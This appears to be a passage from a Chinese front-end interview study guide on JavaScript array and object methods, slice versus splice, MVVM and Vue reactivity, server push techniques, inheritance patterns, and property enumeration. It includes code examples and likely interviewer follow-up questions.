  • arr.join(separator):将数组元素连接为一个字符串,并使用指定的分隔符。
  • arr.keys():返回一个包含数组键的迭代器对象。
  • arr.lastIndexOf(searchElement, fromIndex):返回指定元素在数组中最后一次出现的索引。
  • arr.map(callbackFn, thisArg):创建一个新数组,其中包含通过指定函数对每个元素进行处理后的结果。
  • arr.pop():移除并返回数组的最后一个元素。
  • arr.push(element1, element2, ..., elementN):向数组末尾添加一个或多个元素,并返回新的长度。
  • arr.reduce(callbackFn, initialValue):对数组中的所有元素执行指定的累积函数,返回累积结果。
  • arr.reduceRight(callbackFn, initialValue):对数组中的所有元素执行指定的累积函数(从右到左),返回累积结果。
  • arr.reverse():反转数组中元素的顺序。
  • arr.shift():移除并返回数组的第一个元素。
  • arr.slice(start, end):从数组中提取指定范围的元素,并返回一个新数组。
  • arr.some(callbackFn, thisArg):测试数组中的至少一个元素是否通过了指定函数的测试。
  • arr.sort(compareFunction):对数组元素进行排序,可以传入自定义的比较函数。
  • arr.splice(start, deleteCount, item1, item2, ...):从数组中添加/删除元素,并返回被删除的元素。
  • arr.toLocaleString():将数组中的元素转换为字符串,并返回该字符串。
  • arr.toString():将数组中的元素转换为字符串,并返回该字符串。
  • arr.unshift(element1, element2, ..., elementN):向数组开头添加一个或多个元素,并返回新的长度。
  • arr.values():返回一个包含数组值的迭代器对象。

对象方法:

  • Object.assign(target, ...sources):将一个或多个源对象的属性复制到目标对象,并返回目标对象。
  • Object.create(proto, [propertiesObject]):使用指定的原型对象和属性创建一个新对象。
  • Object.defineProperties(obj, props):定义一个或多个对象的新属性或修改现有属性的配置。
  • Object.defineProperty(obj, prop, descriptor):定义一个新属性或修改现有属性的配置。
  • Object.entries(obj):返回一个包含对象自身可枚举属性的键值对数组。
  • Object.freeze(obj):冻结对象,使其属性不可修改。
  • Object.fromEntries(entries):将键值对列表转换为对象。
  • Object.getOwnPropertyDescriptor(obj, prop):返回对象属性的描述符。
  • Object.getOwnPropertyDescriptors(obj):返回对象所有属性的描述符。
  • Object.getOwnPropertyNames(obj):返回一个数组,包含对象自身的所有属性名称。
  • Object.getOwnPropertySymbols(obj):返回一个数组,包含对象自身的所有Symbol属性。
  • Object.getPrototypeOf(obj):返回指定对象的原型。
  • Object.is(value1, value2):判断两个值是否相同。
  • Object.isExtensible(obj):判断对象是否可扩展。
  • Object.isFrozen(obj):判断对象是否已被冻结。
  • Object.isSealed(obj):判断对象是否已被密封。
  • Object.keys(obj):返回一个数组,包含对象自身的所有可枚举属性名称。
  • Object.preventExtensions(obj):阻止对象扩展,使其不可添加新属性。
  • Object.seal(obj):将对象密封,使其属性不可添加、删除或配置。
  • Object.setPrototypeOf(obj, prototype):设置对象的原型。
  • Object.values(obj):返回一个包含对象自身可枚举属性的值的数组。

这些方法可以帮助我们在JavaScript中更方便地操作和处理数组和对象的数据。

💬 面试官追问

  • 在 React 里 list.sort() 之后 setList(list),页面没变化,为什么?

    sort 原地排序,返回的还是同一个数组引用,React 对比引用发现没变就跳过渲染。改成 setList([...list].sort(fn)) 或者 list.toSorted(fn)。

  • [10, 9, 1].sort() 结果是什么?

    [1, 10, 9]。不传比较函数时会把元素转成字符串按字典序排,数字排序一定要写 sort((a, b) => a - b)。

  • forEach 里 return 能跳出循环吗?

    不能,return 只结束当前这一次回调。要提前结束用 for...of 加 break,或者用 some / find 这种找到就停的方法。

  • 把接口返回的数组按 type 分组,你会怎么写?

    新环境直接 Object.groupBy(list, item => item.type),Chrome 117、Node 21 起支持。要兼容老环境就用 reduce 手写:list.reduce((acc, it) => ((acc[it.type] ??= []).push(it), acc), {})。

  • Object.freeze 冻结之后,里面的嵌套对象还能改吗?

    能。freeze 是浅冻结,只锁第一层属性,obj.config.a = 1 照样生效。要深冻结得递归调用 freeze。

# 113 Array.slice() 与 Array.splice() 的区别?

⚡ 30 秒速记

  • slice(start, end):不改原数组,返回新数组,含 start 不含 end,支持负数
  • splice(start, deleteCount, ...items):直接改原数组,可删 / 插 / 替换,返回被删掉的元素数组
  • 记法:slice 是切一片带走,splice 是在原数组上动手术
  • 常用:arr.slice() 浅拷贝;arr.splice(i, 1) 删第 i 项;arr.splice(i, 0, x) 在 i 插入
  • 不想改原数组又要删插:ES2023 的 toSpliced(),参数和 splice 一样

slice 是只读截取,返回新数组;splice 会直接改原数组,返回的是被删掉的那些元素。 举个例子,[1,2,3,4].slice(1,3) 得到 [2,3],原数组不变;arr.splice(1,2) 返回 [2,3],arr 变成 [1,4]。参数也不一样,slice 第二个参数是结束位置,splice 第二个参数是删几个。在 React、Vue 的状态里我基本不直接用 splice,要删要插就用 filter 或者 toSpliced 拿一个新数组。

  • slice() 方法返回一个新数组,包含从原数组中指定的开始位置到结束位置(不包括结束位置)的元素,不会修改原数组。
  • splice() 方法通过删除或替换现有元素或者添加新元素来修改原数组。它会返回被删除的元素组成的数组。
const fruits = ['apple', 'banana', 'orange', 'mango', 'kiwi'];

// 从索引 1 开始删除 2 个元素,并插入 'grape' 和 'pear'
const deletedFruits = fruits.splice(1, 2, 'grape', 'pear');

console.log(deletedFruits); // 输出: ['banana', 'orange']
console.log(fruits); // 输出: ['apple', 'grape', 'pear', 'mango', 'kiwi']
const fruits = ['apple', 'banana', 'orange'];

// 在索引 1 的位置插入 'grape' 和 'kiwi'
fruits.splice(1, 0, 'grape', 'kiwi');

console.log(fruits); // 输出: ['apple', 'grape', 'kiwi', 'banana', 'orange']

主要区别如下:

  • slice() 是纯粹的读取操作,不会对原数组进行修改,而 splice() 是对数组进行操作,会修改原数组。
  • slice() 的参数是起始位置和结束位置,返回选定的元素组成的新数组。splice() 的参数是起始位置、删除的元素个数以及可选的插入元素,返回被删除的元素组成的新数组。
  • slice() 的结束位置是不包括在选取范围内的,而 splice() 中的删除元素个数是包括在操作范围内的。
  • slice() 不会改变原数组的长度,而 splice() 可以改变原数组的长度。

总的来说,slice() 是用来提取数组中的一部分元素,不改变原数组,而 splice() 是用来操作数组,可以删除、替换或插入元素,会改变原数组。

const fruits = ['apple', 'banana', 'orange', 'mango', 'kiwi'];

// 从索引 1 开始(包括索引 1),到索引 3 结束(不包括索引 3)
const slicedFruits = fruits.slice(1, 3);

console.log(slicedFruits); // 输出: ['banana', 'orange']
console.log(fruits); // 输出: ['apple', 'banana', 'orange', 'mango', 'kiwi']

💬 面试官追问

  • const res = arr.splice(1, 0, 'x'),res 是什么?

    空数组 []。splice 返回的是被删除的元素,这里删了 0 个,插入的 'x' 只体现在 arr 上。很多人以为它返回新数组。

  • arr.slice(-2) 和 arr.splice(-2) 分别得到什么?

    都返回最后两个元素,区别是 splice(-2) 会把这两个从 arr 里真的删掉。一个读一个删,写错了很难查。

  • 在 for 循环里用 splice 删除符合条件的元素,为什么会漏删?

    删掉一个后后面的元素整体往前挪,索引 i++ 就跳过了下一个。倒序遍历能解决,但更推荐直接 arr = arr.filter(x => !cond(x))。

  • slice() 拷贝出来的数组,改里面的对象会影响原数组吗?

    会。slice 是浅拷贝,新数组里放的还是同一批对象引用。要隔离就用 structuredClone(arr) 做深拷贝。

# 114 MVVM

⚡ 30 秒速记

  • Model 管数据、View 管展示、ViewModel 夹在中间做绑定,改数据视图自动跟着变
  • 和 MVC 的区别:不用手动拿 DOM 去改界面,双向绑定把同步这件事自动化了
  • 实现底座 = 响应式(读时收集依赖、写时通知更新)+ 模板编译
  • Vue 2 用 Object.defineProperty,新增属性和数组下标改动侦测不到;Vue 3 换成 Proxy
  • React 不算严格 MVVM:单向数据流,没有自动双向绑定,要显式 setState

MVVM 就是让你只管改数据,界面由框架自动同步,中间负责同步的那层叫 ViewModel。 以前用 jQuery 写,数据变了要自己找到 DOM 改文本,MVVM 把这件事交给了绑定。Vue 是最典型的例子:渲染时读到哪个数据就记下依赖,数据被改时通知对应组件重新渲染,v-model 再把输入框的变化写回数据,形成双向。版本上要说清,Vue 2 靠 Object.defineProperty,给对象新增属性或者用下标改数组都不会更新,Vue 3 换成 Proxy 才解决。

MVVM(Model-View-ViewModel)是一种软件架构模式,用于实现用户界面(UI)和业务逻辑的分离。它的设计目标是将界面的开发与后端的业务逻辑分离,使代码更易于理解、维护和测试。

在MVVM中,各个组成部分的职责如下:

  • Model(模型):表示应用程序的数据和业务逻辑。它负责数据的存储、检索和更新,并封装了与数据相关的操作和规则。
  • View(视图):展示用户界面,通常是由UI元素组成的。它是用户与应用程序进行交互的界面,负责将数据呈现给用户,并接收用户的输入。
  • ViewModel(视图模型):连接View和Model,负责处理业务逻辑和数据的交互。它从Model中获取数据,并将数据转换为View可以理解和展示的格式。ViewModel还负责监听View的变化,并根据用户的输入更新Model中的数据。

MVVM的核心思想是数据绑定,通过双向绑定机制将View和ViewModel中的数据保持同步。当ViewModel中的数据发生变化时,View会自动更新,反之亦然。这种数据驱动的方式使得开发者可以专注于业务逻辑的实现,而无需手动操作DOM元素来更新界面。

MVVM的优势包括:

  • 可维护性:将界面逻辑与业务逻辑分离,使代码更易于理解和维护。
  • 可测试性:由于视图逻辑与业务逻辑解耦,可以更容易地编写单元测试来验证ViewModel的行为。
  • 可复用性:ViewModel可以独立于具体的View,可以复用在不同的界面上,提高代码的重用性。
  • 团队协作:MVVM模式将界面开发与后端逻辑分离,使得前端和后端开发人员可以并行工作,提高团队的协作效率。

总而言之,MVVM是一种能够将界面逻辑与业务逻辑分离的软件架构模式,通过数据绑定实现了View和ViewModel的自动同步,提高了代码的可维护性、可测试性和可复用性。

  • 在Vue中,ViewModel由Vue实例扮演。Vue通过数据绑定机制建立了View和ViewModel之间的连接,当ViewModel中的数据发生变化时,View会自动更新,反之亦然。这种双向数据绑定使得开发者能够以一种声明式的方式编写代码,而不需要手动操作DOM来更新界面。
  • 总结来说,MVVM是一种将数据驱动视图的设计模式,通过ViewModel作为中间层来实现数据和视图之间的解耦。Vue作为一种流行的MVVM框架,提供了强大的数据绑定和响应式系统,使开发者能够更轻松地构建交互性强的Web应用程序。

数据劫持 Vue 内部使用了 Obeject.defineProperty() 来实现双向绑定,通过这个函数可以监听到 set 和 get的事件

var data = { name: 'poetry' }
observe(data)
let name = data.name // -> get value
data.name = 'yyy' // -> change value

function observe(obj) {
  // 判断类型
  if (!obj || typeof obj !== 'object') {
    return
  }
  Object.keys(data).forEach(key => {
    defineReactive(data, key, data[key])
  })
}

function defineReactive(obj, key, val) {
  // 递归子属性
  observe(val)
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get: function reactiveGetter() {
      console.log('get value')
      return val
    },
    set: function reactiveSetter(newVal) {
      console.log('change value')
      val = newVal
    }
  })
}

以上代码简单的实现了如何监听数据的 set 和 get 的事件,但是仅仅如此是不够的,还需要在适当的时候给属性添加发布订阅

<div>
    {{name}}
</div>

在解析如上模板代码时,遇到 {name} 就会给属性 name 添加发布订阅

// 通过 Dep 解耦
class Dep {
  constructor() {
    this.subs = []
  }
  addSub(sub) {
    // sub 是 Watcher 实例
    this.subs.push(sub)
  }
  notify() {
    this.subs.forEach(sub => {
      sub.update()
    })
  }
}
// 全局属性,通过该属性配置 Watcher
Dep.target = null

function update(value) {
  document.querySelector('div').innerText = value
}

class Watcher {
  constructor(obj, key, cb) {
    // 将 Dep.target 指向自己
    // 然后触发属性的 getter 添加监听
    // 最后将 Dep.target 置空
    Dep.target = this
    this.cb = cb
    this.obj = obj
    this.key = key
    this.value = obj[key]
    Dep.target = null
  }
  update() {
    // 获得新值
    this.value = this.obj[this.key]
    // 调用 update 方法更新 Dom
    this.cb(this.value)
  }
}
var data = { name: 'poetry' }
observe(data)
// 模拟解析到 `{{name}}` 触发的操作
new Watcher(data, 'name', update)
// update Dom innerText
data.name = 'yyy'

接下来,对 defineReactive 函数进行改造

function defineReactive(obj, key, val) {
  // 递归子属性
  observe(val)
  let dp = new Dep()
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get: function reactiveGetter() {
      console.log('get value')
      // 将 Watcher 添加到订阅
      if (Dep.target) {
        dp.addSub(Dep.target)
      }
      return val
    },
    set: function reactiveSetter(newVal) {
      console.log('change value')
      val = newVal
      // 执行 watcher 的 update 方法
      dp.notify()
    }
  })
}

以上实现了一个简易的双向绑定,核心思路就是手动触发一次属性的 getter 来实现发布订阅的添加

Proxy 与 Obeject.defineProperty 对比

Object.defineProperty在实现双向绑定时存在一些局限性,特别是在处理数组时的表现。为了解决这些问题,JavaScript引入了Proxy对象,它提供了更强大的拦截和自定义行为能力,进一步改善了双向绑定的实现。

与Object.defineProperty相比,Proxy具有以下优势:

  • 支持监听数组变化:使用Proxy可以监听到数组的变化,包括对数组的push、pop、splice等操作。这使得在实现数组的双向绑定时更加方便和高效。
  • 支持监听动态新增属性:Proxy可以监听对象属性的动态新增,而Object.defineProperty只能监听已经存在的属性。这意味着可以在运行时动态地给对象添加新属性,并对其进行拦截和处理。
  • 更灵活的拦截和自定义行为:Proxy提供了多种拦截器(handler),可以针对不同的操作进行自定义处理。通过拦截器,可以实现属性的读取、设置、删除等操作的拦截,以及对函数的调用进行拦截。这种灵活性使得在实现双向绑定时更加便捷和可控。

然而,需要注意的是,Proxy是ES6引入的新特性,对于一些较旧的浏览器可能不完全支持。在选择使用Proxy还是Object.defineProperty时,需要根据目标平台和需求进行权衡和选择。

总结来说,Proxy相比Object.defineProperty提供了更强大和灵活的拦截和自定义行为能力,特别是在处理数组和动态新增属性时表现更好。它是实现双向绑定的一种更先进的方法,为开发者提供了更好的开发体验和效率。

以下是一个简单的示例代码,演示了如何使用Proxy实现简单的双向绑定功能。

// 定义一个响应式对象
const reactiveObj = {
  name: 'poetry',
  age: 30
};

// 创建一个代理对象
const reactiveProxy = new Proxy(reactiveObj, {
  get(target, key) {
    console.log(`读取属性 ${key}`);
    return target[key];
  },
  set(target, key, value) {
    console.log(`设置属性 ${key} 值为 ${value}`);
    target[key] = value;
    // 触发更新操作,这里简化为输出当前对象
    console.log(reactiveObj);
    return true;
  }
});

// 使用代理对象进行属性的读取和设置
console.log(reactiveProxy.name); // 读取属性 name
reactiveProxy.age = 40; // 设置属性 age 值为 40

在上述示例中,我们使用Proxy创建了一个代理对象reactiveProxy,并定义了get和set拦截器。在get拦截器中,我们输出了属性的读取操作,而在set拦截器中,我们输出了属性的设置操作,并手动触发了更新操作。通过代理对象reactiveProxy,我们可以像访问普通对象一样读取和设置属性值,同时还可以进行自定义的操作。

在Vue.js中,实际的双向绑定实现比上述示例要复杂得多,涉及到依赖追踪、响应式系统、模板编译等方面的内容。Vue.js使用了Proxy对象和其他技术来实现双向绑定功能。如果你有兴趣深入了解Vue.js的源码实现,可以查看Vue.js的官方仓库,其中包含了完整的源码实现。

💬 面试官追问

  • Vue 2 里 this.user.age = 18,age 原来不存在,页面没更新,怎么办?

    defineProperty 只能劫持初始化时已有的属性,新加的没被转成响应式。用 this.$set(this.user, 'age', 18),或者整个替换 this.user = { ...this.user, age: 18 }。Vue 3 用 Proxy 没有这个问题。

  • Vue 2 里 this.list[0] = 'x' 不更新,push 却可以,为什么?

    Vue 2 出于性能没有劫持数组下标,而是重写了 push、splice 等七个变更方法,在里面手动触发更新。所以改下标要用 this.list.splice(0, 1, 'x')。

  • React 是 MVVM 吗?

    不完全是。React 只管 View,数据单向往下流,状态变了要你显式调 setState,也没有自动的双向绑定。受控组件那套 value + onChange 是手写出来的双向。

  • 双向绑定在大项目里有什么问题?

    数据可能在很多地方被改,出问题时很难追是谁改的。所以 Vue 推荐 props 单向下传、子组件通过事件通知父组件改,v-model 本质也是 value + update 事件的语法糖。

  • Proxy 比 defineProperty 好在哪?

    Proxy 代理整个对象,新增、删除属性、数组下标和 length 都能拦到,也不用初始化时递归遍历所有属性,可以访问到再懒代理。缺点是 IE 没法用 polyfill 模拟,这也是 Vue 3 放弃 IE11 的原因。

# 115 WEB应用从服务器主动推送Data到客户端有那些方式

⚡ 30 秒速记

  • 短轮询:定时问一次,最简单,延迟和浪费都大
  • 长轮询:服务端 hold 住请求直到有数据或超时,客户端收到马上再发,兼容性最好
  • SSE:一条 HTTP 长连接单向推,原生 EventSource 自带断线重连和 Last-Event-ID,AI 流式输出常用
  • WebSocket:全双工,聊天、协同编辑、游戏用它,要自己做心跳和重连
  • 选型:只要服务端推就选 SSE,双向高频才上 WebSocket;HTTP/2 Server Push 已被浏览器移除,别答

服务端主动推数据,常见的就是轮询、长轮询、SSE 和 WebSocket 四种,选哪个主要看是不是需要双向通信。 只需要服务端往下推,比如消息通知、日志流、大模型一个字一个字地吐结果,我会选 SSE,它就是普通 HTTP,网关和鉴权都不用改,断线还会自动重连。聊天、协同编辑这种客户端也要高频发消息的,才用 WebSocket,但要自己处理心跳、重连和消息补偿。长轮询是兜底方案,老环境或者中间有代理不让长连接时用。

时序图 · 3 个参与者 / 9 步
loop 有新消息时alt 网络中断或网关超时浏览器 EventSource浏览器 EventSourceNginxNginx业务服务业务服务GET /stream,Accept 为 event-stream1转发请求,关闭缓冲2200,连接保持不关3data: 新消息4定期发 ping 注释保活5连接断开6按 retry 间隔自动重连,带 Last-Event-ID7转发重连请求8从该 ID 之后补发消息9
  1. WebSocket:WebSocket是一种双向通信协议,通过建立持久连接,服务器可以主动向客户端推送数据,而不需要客户端发送请求。WebSocket提供了实时性更好的数据推送能力,适用于需要实时更新数据的场景。
  2. Server-Sent Events(SSE):SSE是HTML5中定义的一种服务器推送技术,通过建立一个持久的HTTP连接,服务器可以向客户端推送数据,客户端通过监听事件来接收推送的数据。SSE适用于需要实现单向实时数据推送的场景,例如实时新闻、实时股票行情等。
  3. Long Polling:长轮询是一种通过客户端不断发送请求,服务器在有数据更新时立即响应的方式。客户端发送一个请求到服务器,服务器一直保持连接打开,直到有新的数据可用或超时,然后将响应返回给客户端,客户端再立即发送下一个请求。长轮询可以模拟实时的数据推送,但相比WebSocket和SSE,它的实现相对复杂,并且对服务器资源的消耗较大。

以上这些方式都可以实现服务器主动推送数据到客户端,选择哪种方式取决于具体的需求和技术栈的选择。WebSocket和SSE是现代Web应用中较为常用的服务器推送技术,它们提供了更好的实时性和效率。

示例代码如下:

WebSocket 示例:

客户端代码:

const socket = new WebSocket('ws://your-server-url');

socket.addEventListener('open', () => {
  console.log('WebSocket连接已建立');
});

socket.addEventListener('message', (event) => {
  const data = event.data;
  console.log('收到服务器推送的数据:', data);
});

socket.addEventListener('close', () => {
  console.log('WebSocket连接已关闭');
});

服务器端代码(使用Node.js和WebSocket库ws):

const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws) => {
  console.log('新的WebSocket连接已建立');

  // 模拟推送数据给客户端
  setInterval(() => {
    ws.send('服务器主动推送的数据');
  }, 5000);

  ws.on('close', () => {
    console.log('WebSocket连接已关闭');
  });
});

Server-Sent Events 示例:

客户端代码:

const eventSource = new EventSource('your-server-url');

eventSource.addEventListener('message', (event) => {
  const data = event.data;
  console.log('收到服务器推送的数据:', data);
});

eventSource.addEventListener('error', (event) => {
  console.error('发生错误:', event);
});

服务器端代码(使用Node.js和Express框架):

const express = require('express');

const app = express();

app.get('/stream', (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  // 模拟每5秒发送一次数据给客户端
  setInterval(() => {
    res.write(`data: 服务器主动推送的数据\n\n`);
  }, 5000);
});

app.listen(8080, () => {
  console.log('服务器已启动');
});

请注意,以上示例仅为简单示例,实际使用时需要根据具体的需求和技术栈进行适当的调整。

💬 面试官追问

  • 做一个站内消息红点提醒,你选哪种?

    SSE 就够了,红点只需要服务端往下推,客户端读消息走普通接口。量很小、实时性要求不高的话,30s 一次短轮询也完全可以,别为一个红点上 WebSocket。

  • SSE 连接过一段时间就断了,客户端也没报错,可能是什么问题?

    多半是中间的 Nginx 或负载均衡空闲超时把连接掐了,或者 Nginx 开着 proxy_buffering 把数据攒住了。服务端定期发一行 : ping 注释保活,Nginx 关掉缓冲,并把 proxy_read_timeout 调大。

  • EventSource 想带 Authorization 请求头怎么办?

    原生 EventSource 不支持自定义请求头,只能靠 Cookie 或者把 token 放 URL 参数(有泄露风险)。要带头就用 fetch 读 ReadableStream 自己解析,@microsoft/fetch-event-source 这类库就是这么做的。

  • WebSocket 断网重连之后,中间漏掉的消息怎么补?

    每条消息带递增的序号,客户端记住收到的最后一个,重连时把序号发给服务端补发。重连本身要做指数退避,别一断网所有客户端同时狂连把服务打挂。

  • 长轮询和短轮询,服务端压力谁大?

    看消息频率。消息稀疏时长轮询请求少得多,但每个挂起的请求都占着一个连接;消息很密时长轮询几乎每次都立刻返回,退化成高频短轮询。

# 116 继承

⚡ 30 秒速记

  • ES5 演进:原型链 → 借用构造函数 → 组合 → 原型式 → 寄生式 → 寄生组合(最终方案)
  • 原型链继承:引用类型属性被所有实例共享,还不能给父类传参
  • 借用构造函数 Parent.call(this):能传参、属性隔离,但拿不到父类原型方法
  • 寄生组合 = Parent.call(this) + Child.prototype = Object.create(Parent.prototype) + 补回 constructor
  • class extends 是寄生组合的语法糖,多了继承静态方法,子类构造里必须先 super() 才能用 this

JS 的继承说到底就是两件事:把父类的实例属性复制到子类实例上,再把子类原型挂到父类原型的链上。 早期的原型链继承只做了第二件事,结果父类里的数组被所有子实例共享,一个改了大家都变;借用构造函数只做了第一件事,父类原型上的方法拿不到。寄生组合继承两件都做,而且用 Object.create 连原型,不会像组合继承那样把父构造函数多调一次。现在写代码直接用 class extends,底层就是这一套,不过我更倾向组合而不是堆很深的继承层级。

  • 原型链继承,将父类的实例作为子类的原型,他的特点是实例是子类的实例也是父类的实例,父类新增的原型方法/属性,子类都能够访问,并且原型链继承简单易于实现,缺点是来自原型对象的所有属性被所有实例共享,无法实现多继承,无法向父类构造函数传参。
function Parent() {
  this.name = 'Parent';
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child() {}

Child.prototype = new Parent();

var child = new Child();
child.sayHello(); // Output: Hello, I am Parent
  • 构造继承,使用父类的构造函数来增强子类实例,即复制父类的实例属性给子类,构造继承可以向父类传递参数,可以实现多继承,通过call多个父类对象。但是构造继承只能继承父类的实例属性和方法,不能继承原型属性和方法,无法实现函数服用,每个子类都有父类实例函数的副本,影响性能
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child
  • 实例继承,为父类实例添加新特性,作为子类实例返回,实例继承的特点是不限制调用方法,不管是new 子类()还是子类()返回的对象具有相同的效果,缺点是实例是父类的实例,不是子类的实例,不支持多继承
function createParent() {
  var parent = {
    name: 'Parent',
    sayHello: function() {
      console.log('Hello, I am ' + this.name);
    }
  };
  return parent;
}

function createChild() {
  var child = Object.create(createParent());
  child.name = 'Child';
  return child;
}

var child = createChild();
child.sayHello(); // Output: Hello, I am Child
  • 拷贝继承:特点:支持多继承,缺点:效率较低,内存占用高(因为要拷贝父类的属性)无法获取父类不可枚举的方法(不可枚举方法,不能使用for in访问到)
function copyProperties(target, source) {
  for (var key in source) {
    if (source.hasOwnProperty(key)) {
      target[key] = source[key];
    }
  }
}

function Parent() {
  this.name = 'Parent';
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child() {
  Parent.call(this);
  this.name = 'Child';
}

copyProperties(Child.prototype, Parent.prototype);

var child = new Child();
child.sayHello(); // Output: Hello, I am Child
  • 组合继承:通过调用父类构造,继承父类的属性并保留传参的优点,然后通过将父类实例作为子类原型,实现函数复用
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

Child.prototype = Object.create(Parent.prototype);
Child.prototype.constructor = Child;

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child
  • 寄生组合继承:通过寄生方式,砍掉父类的实例属性,这样,在调用两次父类的构造的时候,就不会初始化两次实例方法/属性,避免的组合继承的缺点
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

function inheritPrototype(child, parent) {
  var prototype = Object.create(parent.prototype);
  prototype.constructor = child;
  child.prototype = prototype;
}

inheritPrototype(Child, Parent);

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child

💬 面试官追问

  • 原型链继承里,一个子实例 push 了 colors,另一个实例也变了,为什么?

    Child.prototype = new Parent() 之后,colors 数组在原型上,所有子实例共用同一份。push 改的是那个共享数组。在子类构造里 Parent.call(this) 让每个实例有自己的一份就好了。

  • 组合继承有什么问题,寄生组合是怎么解决的?

    组合继承用 Child.prototype = new Parent(),父构造函数被调了两次,原型上还多了一套没用的实例属性。寄生组合换成 Object.create(Parent.prototype),只拿原型不执行构造函数。

  • 子类构造函数里不写 super() 直接用 this 会怎样?

    直接报 ReferenceError。class 继承里实例是由父类构造出来的,super() 调用之前 this 还没初始化;子类不写 constructor 时会自动帮你调 super(...args)。

  • class 继承和寄生组合继承,除了写法还有什么不同?

    class extends 会把子类的 __proto__ 指向父类,所以静态方法也能继承;能正确继承 Array、Error 这类内置对象;class 内部默认严格模式,而且不能不带 new 直接调用。

  • 业务里一个组件继承了三四层,你怎么看?

    我会想办法拆。层级深了,改基类会牵动所有子类,读代码还得一层层往上翻。抽成可组合的函数或者 Hooks,按需拼装,比继承好维护。

# 117 有四个操作会忽略enumerable为false的属性

⚡ 30 秒速记

  • 四个会跳过不可枚举属性:for...in、Object.keys()、JSON.stringify()、Object.assign()
  • for...in 还会走原型链上的可枚举属性,另外三个只看自身
  • Object.assign 会拷贝自身可枚举的 Symbol 键;for...in、keys、JSON.stringify 都不管 Symbol
  • 要看不可枚举的用 Object.getOwnPropertyNames(),全部键用 Reflect.ownKeys()
  • 坑:defineProperty 不写描述符时 enumerable 默认 false,直接赋值才是 true

这四个操作是 for...in、Object.keys、JSON.stringify 和 Object.assign,它们都只认可枚举属性。 enumerable 可以理解成「这个属性要不要在列清单时露面」。ES6 把类原型上的方法都设成了不可枚举,就是为了 for...in 遍历实例时不把方法也列出来。实际开发里最常见的坑是用 Object.defineProperty 加属性,没写 enumerable: true,结果 JSON.stringify 发给后端时这个字段直接没了,查半天以为是接口丢数据。

  • for...in循环:只遍历对象自身的和继承的可枚举的属性。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

for (var key in obj) {
  console.log(key); // Output: prop1, prop2
}
  • Object.keys():返回对象自身的所有可枚举的属性的键名。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

var keys = Object.keys(obj);
console.log(keys); // Output: ["prop1", "prop2"]
  • JSON.stringify():只串行化对象自身的可枚举的属性。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

var json = JSON.stringify(obj);
console.log(json); // Output: "{"prop1":"value1","prop2":"value2"}"
  • Object.assign(): 忽略enumerable为false的属性,只拷贝对象自身的可枚举的属性。
var source = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(source, 'prop3', {
  value: 'value3',
  enumerable: false
});

var target = {};
Object.assign(target, source);

console.log(target); // Output: { prop1: 'value1', prop2: 'value2' }

在以上示例中,enumerable 属性为 false 的属性 prop3 在遍历、获取键名、序列化、拷贝等操作中都被忽略了。

💬 面试官追问

  • 用 defineProperty 给对象加了个 id,console.log 能看到,提交给后端却没有,为什么?

    defineProperty 默认 enumerable: false,JSON.stringify 会跳过它。加上 enumerable: true,或者直接 obj.id = 1 赋值。

  • { ...obj } 展开运算符会拷贝不可枚举属性吗?

    不会,规则和 Object.assign 一样:只拷贝自身可枚举属性,包括 Symbol 键,不走原型链,getter 会被执行成普通值。

  • for...in 遍历一个数组,多出来一个奇怪的方法名,怎么回事?

    有人往 Array.prototype 上加了可枚举的方法,for...in 会顺着原型链把它列出来。数组用 for...of 或 forEach,扩展原型要用 defineProperty 设成不可枚举。

  • 怎么判断一个属性是不是可枚举的?

    obj.propertyIsEnumerable('key'),或者 Object.getOwnPropertyDescriptor(obj, 'key').enumerable。两者都只看自身属性,继承来的返回 false。

# 118 属性的遍历

⚡ 30 秒速记

  • 三个维度区分:含不含原型链 / 含不含不可枚举 / 含不含 Symbol
  • for...in:自身 + 原型链的可枚举字符串键;Object.keys:只有自身可枚举字符串键
  • getOwnPropertyNames:自身所有字符串键(含不可枚举);getOwnPropertySymbols:自身所有 Symbol 键
  • Reflect.ownKeys 最全 = 前两者之和
  • 顺序:整数键升序 → 字符串键按插入顺序 → Symbol 按插入顺序,{ b: 1, 2: 1, a: 1, 1: 1 } 的键是 ['1', '2', 'b', 'a']

这五种遍历方法的区别,按三个问题记就行:要不要原型链上的、要不要不可枚举的、要不要 Symbol 键。 只有 for...in 会往原型链上找;Object.keys 最常用,只拿自身可枚举的字符串键;想看隐藏的不可枚举属性用 getOwnPropertyNames;Reflect.ownKeys 是最全的,字符串和 Symbol、可枚举和不可枚举都拿。顺序也常考,像 "1"、"10" 这种整数键会被提到最前面按大小排,其他字符串键才按插入顺序,这就是为什么拿手机号前缀当对象键时顺序会乱。

ES6提供了5种方法用于遍历对象的属性,它们分别是for...in、Object.keys()、Object.getOwnPropertyNames()、Object.getOwnPropertySymbols()和Reflect.ownKeys()。这些方法在遍历对象属性时都遵循相同的次序规则

  • for...in for...in循环遍历对象自身的和继承的可枚举属性(不含 Symbol 属性)。
  • Object.keys(obj) Object.keys返回一个数组,包括对象自身的(不含继承的)所有可枚举属性(不含 Symbol 属性)的键名。
